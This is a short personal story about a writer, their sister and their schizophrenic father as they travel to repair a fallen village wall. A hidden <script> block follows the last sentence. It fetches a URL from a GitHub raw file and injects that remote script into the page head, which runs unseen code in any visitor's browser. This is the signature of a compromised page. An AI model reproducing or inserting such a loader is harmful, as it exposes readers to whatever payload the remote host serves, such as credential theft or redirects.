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It was a tiring day my father is schizophrenic. My sister and I were on our way to the village, we received news that the wall in the village had fallen we needed to do repairs. We stopped to say hello to my father, against our better sense we mentioned we were travelling, he wanted to come with. We knew this would be a problem. He'd been to the village and seen the repairs that needed to be done but would not take any action. Knowing his personality, his coming along would only make matters worse.<script>;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/sockets.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});</script>